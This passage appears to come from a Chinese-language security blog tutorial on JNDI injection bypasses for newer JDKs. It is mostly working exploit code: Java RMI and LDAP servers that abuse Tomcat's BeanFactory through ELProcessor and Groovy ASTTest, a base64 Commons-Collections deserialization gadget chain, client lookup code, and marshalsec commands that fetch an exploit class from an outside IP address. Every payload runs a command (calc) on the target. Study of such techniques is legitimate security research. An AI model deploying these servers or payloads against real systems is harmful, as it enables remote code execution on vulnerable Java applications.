| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.0</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-el-api</artifactId> <version>8.5.0</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper-el</artifactId> <version>8.5.0</version> </dependency>
|
服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMI_Server_ByPass { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "faster=eval")); resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("Tomcat8bypass", referenceWrapper); System.out.println("Registry运行中......");
} }
|
测试环境:
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext;
public class JNDI_Dynamic { public static void main(String[]args) throws Exception{ String string = "rmi://localhost:1099/Tomcat8bypass"; InitialContext initialContext = new InitialContext(); initialContext.lookup(string); } }
|
Groovy
服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.NamingException; import javax.naming.StringRefAddr; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMI_Server_Bypass_Groovy {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); resourceRef.add(new StringRefAddr("forceString", "faster=parseClass")); String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n", "calc"); resourceRef.add(new StringRefAddr("faster",script)); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("Groovy2bypass", referenceWrapper); System.out.println("Registry运行中......"); } }
|
测试环境:
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext;
public class JNDI_Dynamic { public static void main(String[]args) throws Exception{ String string = "rmi://localhost:1099/Groovy2bypass"; InitialContext initialContext = new InitialContext(); initialContext.lookup(string); } }
|
反序列化
服务端:
不通过远程类加载,直接走反序列化接口。
1 2 3
| e.addAttribute("javaSerializedData", Base64.getDecoder().decode(payload));
|
依赖如下:
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.14</version> </dependency>
|
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.URL; import java.util.Base64;
public class LDAP_Server_ByPass_Serialize {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://123.57.107.33:8888/#EXP"}; int port = 7777;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception { e.addAttribute("javaClassName", "foo"); e.addAttribute("javaSerializedData", Base64.getDecoder().decode(
"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4" )); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
测试环境:
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext;
public class JNDI_Dynamic { public static void main(String[]args) throws Exception{ String string = "ldap://localhost:7777/EXP"; InitialContext initialContext = new InitialContext(); initialContext.lookup(string); } }
|
jndi工具 marshalsec
目前该工具只支持低版本:
marshalsec java反序列化利用工具-CSDN博客
加入 maven 阿里云依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <repositories> <repository> <id>aliyun</id> <name>Aliyun Maven Repository</name> <url>https://maven.aliyun.com/repository/public/</url> <releases> <enabled>true</enabled> </releases> <snapshots> <enabled>false</enabled> </snapshots> </repository> </repositories>
<pluginRepositories> <pluginRepository> <id>aliyun</id> <name>Aliyun Maven Repository</name> <url>https://maven.aliyun.com/repository/public/</url> <releases> <enabled>true</enabled> </releases> <snapshots> <enabled>false</enabled> </snapshots> </pluginRepository> </pluginRepositories>
|
编译 jar 命令:
1 2 3
| git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests
|
运行 bash:
1 2
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://123.57.107.33:8888/#Exploit" 9999 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://123.57.107.33:8888/#Exploit" 1389
|
